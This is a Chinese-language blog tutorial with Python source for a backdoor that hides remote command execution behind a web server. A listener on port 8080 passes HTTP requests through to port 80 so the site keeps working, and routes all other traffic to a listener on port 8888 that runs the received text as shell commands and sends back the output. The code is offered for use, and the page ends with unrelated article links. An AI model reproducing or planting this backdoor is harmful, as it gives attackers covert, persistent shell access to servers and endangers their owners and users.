python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
ptyhon实现sitemap生成示例
Mar 30 Python
Python表示矩阵的方法分析
May 26 Python
Python一句代码实现找出所有水仙花数的方法
Nov 13 Python
python 接收处理外带的参数方法
Dec 03 Python
利用django+wechat-python-sdk 创建微信服务器接入的方法
Feb 20 Python
django 通过URL访问上传的文件方法
Jul 28 Python
pytorch实现用Resnet提取特征并保存为txt文件的方法
Aug 20 Python
python 实现多线程下载视频的代码
Nov 15 Python
利用python实现AR教程
Nov 20 Python
使用python快速实现不同机器间文件夹共享方式
Dec 22 Python
python日期与时间戳的各种转换示例
Feb 12 Python
如何利用opencv判断两张图片是否相同详解
Jul 07 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
php无限极分类实现的两种解决方法
2013/04/28 PHP
php通过字符串调用函数示例
2014/03/02 PHP
PHP如何将XML转成数组
2016/04/04 PHP
基于jquery的checkbox下拉框插件代码
2010/06/25 Javascript
浅析JavaScript中的typeof运算符
2013/11/30 Javascript
jquery选择checked在ie8普通模式下的问题
2014/02/12 Javascript
jQuery表格插件datatables用法总结
2014/09/05 Javascript
一个不错的js html页面倒计时可精确到秒
2014/10/22 Javascript
JS仿淘宝实现的简单滑动门效果代码
2015/10/14 Javascript
JAVASCRIPT代码编写俄罗斯方块网页版
2015/11/26 Javascript
easyui-combobox 实现简单的自动补全功能示例
2016/11/08 Javascript
jQuery 常见小例汇总
2016/12/14 Javascript
利用NPM淘宝的node.js镜像加速nvm
2017/03/27 Javascript
关于javascript作用域的常见面试题分享
2017/06/18 Javascript
js+html5实现半透明遮罩层弹框效果
2020/08/24 Javascript
javascript中toFixed()四舍五入使用方法详解
2018/09/28 Javascript
JavaScript 复制对象与Object.assign方法无法实现深复制
2018/11/02 Javascript
Javascript 类型转换、封闭函数及常见内置对象操作示例
2019/11/15 Javascript
[06:37]2014DOTA2国际邀请赛 昔日王者渴望重回巅峰
2014/07/12 DOTA
[00:44]2016完美“圣”典 风云人物:Mikasa宣传片
2016/12/07 DOTA
Python基础学习之常见的内建函数整理
2017/09/06 Python
Python实现曲线点抽稀算法的示例
2017/10/12 Python
python3将视频流保存为本地视频文件
2018/06/20 Python
实例讲解python中的协程
2018/10/08 Python
对python 读取线的shp文件实例详解
2018/12/22 Python
详解Ubuntu16.04安装Python3.7及其pip3并切换为默认版本
2019/02/25 Python
python实现大文本文件分割
2019/07/22 Python
python opencv实现证件照换底功能
2019/08/19 Python
基于tensorflow __init__、build 和call的使用小结
2021/02/26 Python
HTML5 视频播放(video),JavaScript控制视频的实例代码
2018/10/08 HTML / CSS
英国豪华装饰照明品牌的在线零售商:Inspyer Lighting
2019/12/10 全球购物
文史专业毕业生自荐信
2013/11/17 职场文书
应聘护士求职信
2014/07/21 职场文书
品牌转让协议书
2014/08/20 职场文书
2014镇副书记群众路线专题民主生活会思想汇报
2014/09/23 职场文书
Go结合Gin导出Mysql数据到Excel表格
2022/08/05 Golang